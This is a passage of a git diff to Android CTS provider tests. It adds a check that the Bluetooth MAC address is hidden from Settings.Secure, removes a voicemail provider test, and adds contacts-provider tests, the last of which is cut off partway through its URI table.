+        try (Cursor c = cr.query(Settings.Secure.CONTENT_URI, null, null, null, null)) {
+            while ((c != null) && (c.moveToNext())) {
+                String name = c.getString(1);
+                if (BLUETOOTH_MAC_ADDRESS_SETTING_NAME.equals(name)) {
+                    fail("Settings.Secure contains " + name + ": " + c.getString(2));
+                }
+            }
+        }
+
+        // Assert this setting is not accessible when listing this specific setting
+        Uri settingUri =
+                Settings.Secure.CONTENT_URI.buildUpon().appendPath("bluetooth_address").build();
+        try (Cursor c = cr.query(settingUri, null, null, null, null)) {
+            while ((c != null) && (c.moveToNext())) {
+                String name = c.getString(1);
+                fail("Settings.Secure contains " + name + ": " + c.getString(2));
+            }
+        }
     }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/VoicemailContractTest.java b/tests/tests/provider/src/android/provider/cts/VoicemailContractTest.java
deleted file mode 100644
index 8e0a6cc..0000000
--- a/tests/tests/provider/src/android/provider/cts/VoicemailContractTest.java
+++ /dev/null
@@ -1,314 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.RemoteException;
-import android.provider.VoicemailContract;
-import android.provider.VoicemailContract.Status;
-import android.provider.VoicemailContract.Voicemails;
-import android.test.InstrumentationTestCase;
-
-/**
- * CTS tests for voicemail provider accessed through {@link VoicemailContract}.
- */
-public class VoicemailContractTest extends InstrumentationTestCase {
-    private ContentResolver mContentResolver;
-    private ContentProviderClient mVoicemailProvider;
-    private ContentProviderClient mStatusProvider;
-    private Uri mVoicemailContentUri;
-    private Uri mStatusContentUri;
-    private String mSourcePackageName;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mSourcePackageName = getInstrumentation().getTargetContext().getPackageName();
-        mVoicemailContentUri = Voicemails.buildSourceUri(mSourcePackageName);
-        mStatusContentUri = Status.buildSourceUri(mSourcePackageName);
-        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
-        mVoicemailProvider = mContentResolver.acquireContentProviderClient(mVoicemailContentUri);
-        mStatusProvider = mContentResolver.acquireContentProviderClient(mStatusContentUri);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Clean up, just in case we failed to delete the entry when a test failed.
-        // The cotentUris are specific to this package, so this will delete only the
-        // entries inserted by this package.
-        mStatusProvider.delete(mStatusContentUri, null, null);
-        mVoicemailProvider.delete(mVoicemailContentUri, null, null);
-        super.tearDown();
-    }
-
-    public void testVoicemailsTable() throws Exception {
-        final String[] VOICEMAILS_PROJECTION = new String[] {
-                Voicemails._ID, Voicemails.NUMBER, Voicemails.DATE, Voicemails.DURATION,
-                Voicemails.IS_READ, Voicemails.SOURCE_PACKAGE, Voicemails.SOURCE_DATA,
-                Voicemails.HAS_CONTENT, Voicemails.MIME_TYPE};
-        final int ID_INDEX = 0;
-        final int NUMBER_INDEX = 1;
-        final int DATE_INDEX = 2;
-        final int DURATION_INDEX = 3;
-        final int IS_READ_INDEX = 4;
-        final int SOURCE_PACKAGE_INDEX = 5;
-        final int SOURCE_DATA_INDEX = 6;
-        final int HAS_CONTENT_INDEX = 7;
-        final int MIME_TYPE_INDEX = 8;
-
-        String insertCallsNumber = "0123456789";
-        long insertCallsDuration = 120;
-        String insertSourceData = "internal_id";
-        String insertMimeType = "audio/mp3";
-        long insertDate = 1324478862000L;
-
-        String updateCallsNumber = "9876543210";
-        long updateCallsDuration = 310;
-        String updateSourceData = "another_id";
-        long updateDate = 1324565262000L;
-
-        // Test: insert
-        ContentValues value = new ContentValues();
-        value.put(Voicemails.NUMBER, insertCallsNumber);
-        value.put(Voicemails.DATE, insertDate);
-        value.put(Voicemails.DURATION, insertCallsDuration);
-        // Source package is expected to be inserted by the provider, if not set.
-        value.put(Voicemails.SOURCE_DATA, insertSourceData);
-        value.put(Voicemails.MIME_TYPE, insertMimeType);
-        value.put(Voicemails.IS_READ, false);
-        value.put(Voicemails.HAS_CONTENT, true);
-
-        Uri uri = mVoicemailProvider.insert(mVoicemailContentUri, value);
-        Cursor cursor = mVoicemailProvider.query(
-                mVoicemailContentUri, VOICEMAILS_PROJECTION,
-                Voicemails.NUMBER + " = ?",
-                new String[] {insertCallsNumber}, null, null);
-        assertTrue(cursor.moveToNext());
-        assertEquals(insertCallsNumber, cursor.getString(NUMBER_INDEX));
-        assertEquals(insertDate, cursor.getLong(DATE_INDEX));
-        assertEquals(insertCallsDuration, cursor.getLong(DURATION_INDEX));
-        assertEquals(mSourcePackageName, cursor.getString(SOURCE_PACKAGE_INDEX));
-        assertEquals(insertSourceData, cursor.getString(SOURCE_DATA_INDEX));
-        assertEquals(insertMimeType, cursor.getString(MIME_TYPE_INDEX));
-        assertEquals(0, cursor.getInt(IS_READ_INDEX));
-        assertEquals(1, cursor.getInt(HAS_CONTENT_INDEX));
-        int id = cursor.getInt(ID_INDEX);
-        assertEquals(id, Integer.parseInt(uri.getLastPathSegment()));
-        cursor.close();
-
-        // Test: update
-        value.clear();
-        value.put(Voicemails.NUMBER, updateCallsNumber);
-        value.put(Voicemails.DATE, updateDate);
-        value.put(Voicemails.DURATION, updateCallsDuration);
-        value.put(Voicemails.SOURCE_DATA, updateSourceData);
-
-        mVoicemailProvider.update(uri, value, null, null);
-        cursor = mVoicemailProvider.query(mVoicemailContentUri, VOICEMAILS_PROJECTION,
-                Voicemails._ID + " = " + id, null, null, null);
-        assertEquals(1, cursor.getCount());
-        assertTrue(cursor.moveToNext());
-        assertEquals(mSourcePackageName, cursor.getString(SOURCE_PACKAGE_INDEX));
-        assertEquals(updateCallsNumber, cursor.getString(NUMBER_INDEX));
-        assertEquals(updateDate, cursor.getLong(DATE_INDEX));
-        assertEquals(updateCallsDuration, cursor.getLong(DURATION_INDEX));
-        assertEquals(updateSourceData, cursor.getString(SOURCE_DATA_INDEX));
-        cursor.close();
-
-        // Test: delete
-        mVoicemailProvider.delete(mVoicemailContentUri, Voicemails._ID + " = " + id, null);
-        cursor = mVoicemailProvider.query(mVoicemailContentUri, VOICEMAILS_PROJECTION,
-                Voicemails._ID + " = " + id, null, null, null);
-        assertEquals(0, cursor.getCount());
-        cursor.close();
-    }
-
-    // Data column should be automatically generated during insert.
-    public void testInsert_doesNotUpdateDataColumn() throws Exception {
-
-        final String newFilePath = "my/new/file/path";
-        final ContentValues value = buildContentValuesForNewVoicemail();
-        value.put(Voicemails._DATA, newFilePath);
-        mVoicemailProvider.insert(mVoicemailContentUri, value);
-
-        assertDataNotEquals(newFilePath);
-    }
-
-    public void testDataColumnUpdate_throwsIllegalArgumentException() throws Exception {
-
-        final ContentValues value = buildContentValuesForNewVoicemail();
-        final Uri uri = mVoicemailProvider.insert(mVoicemailContentUri, value);
-
-        // Test: update
-        final String newFilePath = "another/file/path";
-
-        value.clear();
-        value.put(Voicemails._DATA, newFilePath);
-        try {
-            mVoicemailProvider.update(uri, value, null, null);
-            fail("IllegalArgumentException expected but not thrown.");
-        } catch (IllegalArgumentException e) {
-            // pass
-        }
-
-        assertDataNotEquals(newFilePath);
-    }
-
-    private void assertDataNotEquals(String newFilePath) throws RemoteException {
-        // Make sure data value is not actually updated.
-        final Cursor cursor = mVoicemailProvider.query(mVoicemailContentUri,
-                new String[]{Voicemails._DATA}, null, null, null);
-        cursor.moveToNext();
-        final String data = cursor.getString(0);
-        assertFalse(data.equals(newFilePath));
-    }
-
-    private ContentValues buildContentValuesForNewVoicemail() {
-        final String insertCallsNumber = "0123456789";
-        final long insertCallsDuration = 120;
-        final String insertSourceData = "internal_id";
-        final String insertMimeType = "audio/mp3";
-        final long insertDate = 1324478862000L;
-
-        ContentValues value = new ContentValues();
-        value.put(Voicemails.NUMBER, insertCallsNumber);
-        value.put(Voicemails.DATE, insertDate);
-        value.put(Voicemails.DURATION, insertCallsDuration);
-        // Source package is expected to be inserted by the provider, if not set.
-        value.put(Voicemails.SOURCE_DATA, insertSourceData);
-        value.put(Voicemails.MIME_TYPE, insertMimeType);
-        value.put(Voicemails.IS_READ, false);
-        value.put(Voicemails.HAS_CONTENT, true);
-
-        return value;
-    }
-
-    public void testStatusTable() throws Exception {
-        final String[] STATUS_PROJECTION = new String[] {
-                Status._ID, Status.SOURCE_PACKAGE, Status.CONFIGURATION_STATE,
-                Status.DATA_CHANNEL_STATE, Status.NOTIFICATION_CHANNEL_STATE,
-                Status.SETTINGS_URI, Status.VOICEMAIL_ACCESS_URI,
-                Status.QUOTA_OCCUPIED, Status.QUOTA_TOTAL};
-        final int ID_INDEX = 0;
-        final int SOURCE_PACKAGE_INDEX = 1;
-        final int CONFIGURATION_STATE_INDEX = 2;
-        final int DATA_CHANNEL_STATE_INDEX = 3;
-        final int NOTIFICATION_CHANNEL_STATE_INDEX = 4;
-        final int SETTINGS_URI_INDEX = 5;
-        final int VOICEMAIL_ACCESS_URI_INDEX = 6;
-        final int QUOTA_OCCUPIED_INDEX = 7;
-        final int QUOTA_TOTAL_INDEX = 8;
-
-        int insertConfigurationState = Status.CONFIGURATION_STATE_OK;
-        int insertDataChannelState = Status.DATA_CHANNEL_STATE_OK;
-        int insertNotificationChannelState = Status.NOTIFICATION_CHANNEL_STATE_OK;
-        String insertSettingsUri = "settings_uri";
-        String insertVoicemailAccessUri = "tel:901";
-        int quotaOccupied = 7;
-        int quotaTotal = 42;
-
-        int updateDataChannelState = Status.DATA_CHANNEL_STATE_NO_CONNECTION;
-        int updateNotificationChannelState = Status.NOTIFICATION_CHANNEL_STATE_MESSAGE_WAITING;
-        String updateSettingsUri = "settings_uri_2";
-        int updateQuotaOccupied = 1337;
-        int updateQuotaTotal = 2187;
-
-        // Test: insert
-        ContentValues value = new ContentValues();
-        value.put(Status.CONFIGURATION_STATE, insertConfigurationState);
-        value.put(Status.DATA_CHANNEL_STATE, insertDataChannelState);
-        value.put(Status.NOTIFICATION_CHANNEL_STATE, insertNotificationChannelState);
-        value.put(Status.SETTINGS_URI, insertSettingsUri);
-        value.put(Status.VOICEMAIL_ACCESS_URI, insertVoicemailAccessUri);
-        value.put(Status.QUOTA_OCCUPIED, quotaOccupied);
-        value.put(Status.QUOTA_TOTAL, quotaTotal);
-
-        Uri uri = mStatusProvider.insert(mStatusContentUri, value);
-        Cursor cursor = mStatusProvider.query(
-                mStatusContentUri, STATUS_PROJECTION, null, null, null, null);
-        assertTrue(cursor.moveToNext());
-        assertEquals(mSourcePackageName, cursor.getString(SOURCE_PACKAGE_INDEX));
-        assertEquals(insertConfigurationState, cursor.getInt(CONFIGURATION_STATE_INDEX));
-        assertEquals(insertDataChannelState, cursor.getInt(DATA_CHANNEL_STATE_INDEX));
-        assertEquals(insertNotificationChannelState,
-                cursor.getInt(NOTIFICATION_CHANNEL_STATE_INDEX));
-        assertEquals(insertSettingsUri, cursor.getString(SETTINGS_URI_INDEX));
-        assertEquals(insertVoicemailAccessUri, cursor.getString(VOICEMAIL_ACCESS_URI_INDEX));
-        assertEquals(quotaOccupied, cursor.getInt(QUOTA_OCCUPIED_INDEX));
-        assertEquals(quotaTotal, cursor.getInt(QUOTA_TOTAL_INDEX));
-        int id = cursor.getInt(ID_INDEX);
-        assertEquals(id, Integer.parseInt(uri.getLastPathSegment()));
-        cursor.close();
-
-        // Test: update
-        value.clear();
-        value.put(Status.DATA_CHANNEL_STATE, updateDataChannelState);
-        value.put(Status.NOTIFICATION_CHANNEL_STATE, updateNotificationChannelState);
-        value.put(Status.SETTINGS_URI, updateSettingsUri);
-        value.put(Status.QUOTA_OCCUPIED, updateQuotaOccupied);
-        value.put(Status.QUOTA_TOTAL, updateQuotaTotal);
-
-        mStatusProvider.update(uri, value, null, null);
-        cursor = mStatusProvider.query(mStatusContentUri, STATUS_PROJECTION,
-                Voicemails._ID + " = " + id, null, null, null);
-        assertEquals(1, cursor.getCount());
-        assertTrue(cursor.moveToNext());
-        assertEquals(mSourcePackageName, cursor.getString(SOURCE_PACKAGE_INDEX));
-        assertEquals(updateDataChannelState, cursor.getInt(DATA_CHANNEL_STATE_INDEX));
-        assertEquals(updateNotificationChannelState,
-                cursor.getInt(NOTIFICATION_CHANNEL_STATE_INDEX));
-        assertEquals(updateSettingsUri, cursor.getString(SETTINGS_URI_INDEX));
-        assertEquals(updateQuotaOccupied, cursor.getInt(QUOTA_OCCUPIED_INDEX));
-        assertEquals(updateQuotaTotal, cursor.getInt(QUOTA_TOTAL_INDEX));
-        cursor.close();
-
-        // Test: delete
-        mStatusProvider.delete(mStatusContentUri, Voicemails._ID + " = " + id, null);
-        cursor = mStatusProvider.query(mStatusContentUri, STATUS_PROJECTION,
-                Voicemails._ID + " = " + id, null, null, null);
-        assertEquals(0, cursor.getCount());
-        cursor.close();
-    }
-
-    public void testVoicemailTablePermissions() throws Exception {
-        ContentValues value = new ContentValues();
-        value.put(Voicemails.NUMBER, "0123456789");
-        value.put(Voicemails.SOURCE_PACKAGE, "some.other.package");
-        try {
-            mVoicemailProvider.insert(mVoicemailContentUri, value);
-            fail("Expected SecurityException. None thrown.");
-        } catch (SecurityException e) {
-            // Expected result.
-        }
-    }
-
-    public void testStatusTablePermissions() throws Exception {
-        ContentValues value = new ContentValues();
-        value.put(Status.CONFIGURATION_STATE, Status.CONFIGURATION_STATE_OK);
-        value.put(Status.SOURCE_PACKAGE, "some.other.package");
-        try {
-            mStatusProvider.insert(mStatusContentUri, value);
-            fail("Expected SecurityException. None thrown.");
-        } catch (SecurityException e) {
-            // Expected result.
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java
new file mode 100644
index 0000000..c0ff4c0
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+import android.provider.ContactsContract;
+import android.test.AndroidTestCase;
+
+import java.util.List;
+
+/**
+ * Tests to verify that common actions on {@link ContactsContract} content are
+ * available.
+ */
+public class ContactsContractIntentsTest extends AndroidTestCase {
+    public void assertCanBeHandled(Intent intent) {
+        List<ResolveInfo> resolveInfoList = getContext()
+                .getPackageManager().queryIntentActivities(intent, 0);
+        assertNotNull("Missing ResolveInfo", resolveInfoList);
+        assertTrue("No ResolveInfo found for " + intent.toInsecureString(),
+                resolveInfoList.size() > 0);
+    }
+
+    public void testViewContactDir() {
+        Intent intent = new Intent(Intent.ACTION_VIEW);
+        intent.setData(ContactsContract.Contacts.CONTENT_URI);
+        assertCanBeHandled(intent);
+    }
+
+    public void testPickContactDir() {
+        Intent intent = new Intent(Intent.ACTION_PICK);
+        intent.setData(ContactsContract.Contacts.CONTENT_URI);
+        assertCanBeHandled(intent);
+    }
+
+    public void testGetContentContactDir() {
+        Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
+        intent.setData(ContactsContract.Contacts.CONTENT_URI);
+        assertCanBeHandled(intent);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java
new file mode 100644
index 0000000..c19e571
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java
@@ -0,0 +1,212 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Contacts.AggregationSuggestions;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.AndroidTestCase;
+
+/**
+ * CTS tests for {@link android.provider.ContactsContract.Contacts.AggregationSuggestions} APIs.
+ */
+public class ContactsContract_AggregationSuggestionsTest extends AndroidTestCase {
+    private static final String[] TEST_PROJECTION
+            = new String[] {Contacts.DISPLAY_NAME, Contacts._ID};
+
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    // Copy of CP2's ContactAggregatorTest#testAggregationSuggestionsByName unit test.
+    public void testAggregationSuggestionsByNameReversed() throws Exception {
+        long [] contactIds = setupThreeContacts();
+
+        // Setup: create query with first and last name reversed.
+        Uri uri = AggregationSuggestions.builder()
+                .addNameParameter("last1 first1")
+                .build();
+
+        // Execute
+        Cursor cursor = mResolver.query(uri, TEST_PROJECTION, null, null, null);
+
+        // Verify: correct contact is returned.
+        assertEquals(1, cursor.getCount());
+        cursor.moveToFirst();
+        ContentValues values = new ContentValues();
+        values.put(Contacts._ID, contactIds[0]);
+        values.put(Contacts.DISPLAY_NAME, "first1 last1");
+        DatabaseAsserts.assertCursorValuesMatchExactly(cursor, values);
+        cursor.close();
+    }
+
+
+    public void testAggregationSuggestionsByName() throws Exception {
+        long [] contactIds = setupThreeContacts();
+
+        // Setup: create query with first and last name in same order as display name.
+        Uri uri = AggregationSuggestions.builder()
+                .addNameParameter("first1 last1")
+                .build();
+
+        // Execute
+        Cursor cursor = mResolver.query(uri, TEST_PROJECTION, null, null, null);
+
+        // Verify: correct contact is returned.
+        assertEquals(1, cursor.getCount());
+        cursor.moveToFirst();
+        ContentValues values = new ContentValues();
+        values.put(Contacts._ID, contactIds[0]);
+        values.put(Contacts.DISPLAY_NAME, "first1 last1");
+        DatabaseAsserts.assertCursorValuesMatchExactly(cursor, values);
+        cursor.close();
+    }
+
+    public void testAggregationSuggestionsByName_noMatch() throws Exception {
+        setupThreeContacts();
+
+        // Setup: query with name that is completely different than all the contacts.
+        Uri uri = AggregationSuggestions.builder()
+                .addNameParameter("unmatched name")
+                .build();
+
+        // Execute
+        Cursor cursor = mResolver.query(
+                uri, new String[] { Contacts._ID, Contacts.DISPLAY_NAME }, null, null, null);
+
+        // Verify: no matches.
+        assertEquals(0, cursor.getCount());
+    }
+
+    public void testAggregationSuggestionsByName_matchSecondNameParameter() throws Exception {
+        long [] contactIds = setupThreeContacts();
+
+        // Setup: query with two names. The first name is completely unlike all the contacts.
+        Uri uri = AggregationSuggestions.builder()
+                .addNameParameter("unmatched name")
+                .addNameParameter("first2 last2")
+                .build();
+
+        // Execute
+        Cursor cursor = mResolver.query(uri, TEST_PROJECTION, null, null, null);
+
+        // Verify: the second name parameter matches a contact.
+        assertEquals(1, cursor.getCount());
+        ContentValues values = new ContentValues();
+        values.put(Contacts._ID, contactIds[1]);
+        values.put(Contacts.DISPLAY_NAME, "first2 last2");
+        DatabaseAsserts.assertCursorValuesMatchExactly(cursor, values);
+        cursor.close();
+    }
+
+    public void testAggregationSuggestionsByName_matchFirstNameParameter() throws Exception {
+        long [] contactIds = setupThreeContacts();
+
+        // Setup: query with two names. The second name is completely unlike all the contacts.
+        Uri uri = AggregationSuggestions.builder()
+                .addNameParameter("first2 last2")
+                .addNameParameter("unmatched name")
+                .build();
+
+        // Execute
+        Cursor cursor = mResolver.query(uri, TEST_PROJECTION, null, null, null);
+
+        // Verify: the first name parameter matches a contact.
+        assertEquals(1, cursor.getCount());
+        ContentValues values = new ContentValues();
+        values.put(Contacts._ID, contactIds[1]);
+        values.put(Contacts.DISPLAY_NAME, "first2 last2");
+        DatabaseAsserts.assertCursorValuesMatchExactly(cursor, values);
+        cursor.close();
+    }
+
+    private long[] setupThreeContacts() throws Exception {
+        TestRawContact rawContact1 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "first1")
+                .with(StructuredName.FAMILY_NAME, "last1")
+                .insert();
+        rawContact1.load();
+
+        TestRawContact rawContact2 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "first2")
+                .with(StructuredName.FAMILY_NAME, "last2")
+                .insert();
+        rawContact2.load();
+
+        TestRawContact rawContact3 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "completely")
+                .with(StructuredName.FAMILY_NAME, "different")
+                .insert();
+        rawContact3.load();
+
+        return new long[] {rawContact1.getContactId(),
+                rawContact2.getContactId(), rawContact3.getContactId()};
+    }
+
+    public void testAggregationSuggestionsQueryBuilderWithContactId() throws Exception {
+        Uri uri = new AggregationSuggestions.Builder().setContactId(12).setLimit(7).build();
+        assertEquals("content://com.android.contacts/contacts/12/suggestions?limit=7",
+                uri.toString());
+    }
+
+    public void testAggregationSuggestionsQueryBuilderWithValues() throws Exception {
+        Uri uri = new AggregationSuggestions.Builder()
+                .addNameParameter("name1")
+                .addNameParameter("name2")
+                .setLimit(7)
+                .build();
+        assertEquals("content://com.android.contacts/contacts/0/suggestions?"
+                + "limit=7"
+                + "&query=name%3Aname1"
+                + "&query=name%3Aname2", uri.toString());
+    }
+}
+
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java
new file mode 100644
index 0000000..dfeaad1
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java
@@ -0,0 +1,695 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.CancellationSignal;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.ContactsContract.SyncState;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.LargeTest;
+import android.util.Log;
+
+import junit.framework.AssertionFailedError;
+
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+
+@LargeTest
+public class ContactsContract_AllUriTest extends AndroidTestCase {
+    private static final String TAG = "AllUrlTest";
+
+    // "-" : Query not supported.
+    // "!" : Can't query because it requires the cross-user permission.
+    // The following markers are planned, but not implemented and the definition below is not all
+    // correct yet.
+    // "d" : supports delete.
+    // "u" : supports update.
+    // "i" : supports insert.
+    // "r" : supports read.
+    // "w" : supports write.
+    // "s" : has x_times_contacted and x_last_time_contacted.
+    // "t" : has x_times_used and x_last_time_used.
+    private static final String[][] URIs = {
+            {"content://com.android.contacts/contacts", "sud"},
+            {"content://com.android.contacts/contacts/1", "sud"},
+            {"content://com.android.contacts/contacts/1/data", "t"},
+            {"content://com.android.contacts/contacts/1/entities", "t"},
+            {"content://com.android.contacts/contacts/1/suggestions"},
+            {"content://com.android.contacts/contacts/1/suggestions/XXX"},
+            {"content://com.android.contacts/contacts/1/photo", "r"},
+            {"content://com.android.contacts/contacts/1/display_photo", "-r"},
+            {"content://com.android.contacts/contacts_corp/1/photo", "-r"},
+            {"content://com.android.contacts/contacts_corp/1/display_photo", "-r"},
+
+            {"content://com.android.contacts/contacts/filter", "s"},
+            {"content://com.android.contacts/contacts/filter/XXX", "s"},
+
+            {"content://com.android.contacts/contacts/lookup/nlookup", "sud"},
+            {"content://com.android.contacts/contacts/lookup/nlookup/data", "t"},
+            {"content://com.android.contacts/contacts/lookup/nlookup/photo", "tr"},
+
+            {"content://com.android.contacts/contacts/lookup/nlookup/1", "sud"},
+            {"content://com.android.contacts/contacts/lookup/nlookup/1/data"},
+            {"content://com.android.contacts/contacts/lookup/nlookup/1/photo", "r"},
+            {"content://com.android.contacts/contacts/lookup/nlookup/display_photo", "-r"},
+            {"content://com.android.contacts/contacts/lookup/nlookup/1/display_photo", "-r"},
+            {"content://com.android.contacts/contacts/lookup/nlookup/entities"},
+            {"content://com.android.contacts/contacts/lookup/nlookup/1/entities"},
+
+            {"content://com.android.contacts/contacts/as_vcard/nlookup", "r"},
+            {"content://com.android.contacts/contacts/as_multi_vcard/XXX"},
+
+            {"content://com.android.contacts/contacts/strequent/", "s"},
+            {"content://com.android.contacts/contacts/strequent/filter/XXX", "s"},
+
+            {"content://com.android.contacts/contacts/group/XXX"},
+
+            {"content://com.android.contacts/contacts/frequent", "s"},
+            {"content://com.android.contacts/contacts/delete_usage", "-d"},
+            {"content://com.android.contacts/contacts/filter_enterprise?directory=0", "s"},
+            {"content://com.android.contacts/contacts/filter_enterprise/XXX?directory=0", "s"},
+
+            {"content://com.android.contacts/raw_contacts", "siud"},
+            {"content://com.android.contacts/raw_contacts/1", "sud"},
+            {"content://com.android.contacts/raw_contacts/1/data", "tu"},
+            {"content://com.android.contacts/raw_contacts/1/display_photo", "-rw"},
+            {"content://com.android.contacts/raw_contacts/1/entity"},
+
+            {"content://com.android.contacts/raw_contact_entities"},
+            {"content://com.android.contacts/raw_contact_entities_corp", "!"},
+
+            {"content://com.android.contacts/data", "tud"},
+            {"content://com.android.contacts/data/1", "tudr"},
+            {"content://com.android.contacts/data/phones", "t"},
+            {"content://com.android.contacts/data_enterprise/phones", "!"},
+            {"content://com.android.contacts/data/phones/1", "tud"},
+            {"content://com.android.contacts/data/phones/filter", "t"},
+            {"content://com.android.contacts/data/phones/filter/XXX", "t"},
+
+            {"content://com.android.contacts/data/phones/filter_enterprise?directory=0", "t"},
+            {"content://com.android.contacts/data/phones/filter_enterprise/XXX?directory=0", "t"},
+
+            {"content://com.android.contacts/data/emails", "t"},
+            {"content://com.android.contacts/data/emails/1", "tud"},
+            {"content://com.android.contacts/data/emails/lookup", "t"},
+            {"content://com.android.contacts/data/emails/lookup/XXX", "t"},
+            {"content://com.android.contacts/data/emails/filter", "t"},
+            {"content://com.android.contacts/data/emails/filter/XXX", "t"},
+            {"content://com.android.contacts/data/emails/filter_enterprise?directory=0", "t"},
+            {"content://com.android.contacts/data/emails/filter_enterprise/XXX?directory=0", "t"},
+            {"content://com.android.contacts/data/emails/lookup_enterprise", "t"},
+            {"content://com.android.contacts/data/emails/lookup_enterprise/XXX", "t"},
+            {"content://com.android.contacts/data/postals", "t"},
+            {"content://com.android.contacts/data/postals/1", "tud"},
+            {"content://com.android.contacts/data/usagefeedback/1,2,3", "-u"},
+            {"content://com.android.contacts/data/callables/", "t"},
+            {"content://com.android.contacts/data/callables/1", "tud"},
+            {"content://com.android.contacts/data/callables/filter", "t"},
+            {"content://com.android.contacts/data/callables/filter/XXX", "t"},
+            {"content://com.android.contacts/data/callables/filter_enterprise?directory=0", "t"},
+            {"content://com.android.contacts/data/callables/filter_enterprise/XXX?directory=0",
+                    "t"},
+            {"content://com.android.contacts/data/contactables/", "t"},
+            {"content://com.android.contacts/data/contactables/filter", "t"},
+            {"content://com.android.contacts/data/contactables/filter/XXX", "t"},
+
+            {"content://com.android.contacts/groups", "iud"},
+            {"content://com.android.contacts/groups/1", "ud"},
+            {"content://com.android.contacts/groups_summary"},
+            {"content://com.android.contacts/syncstate", "iud"},
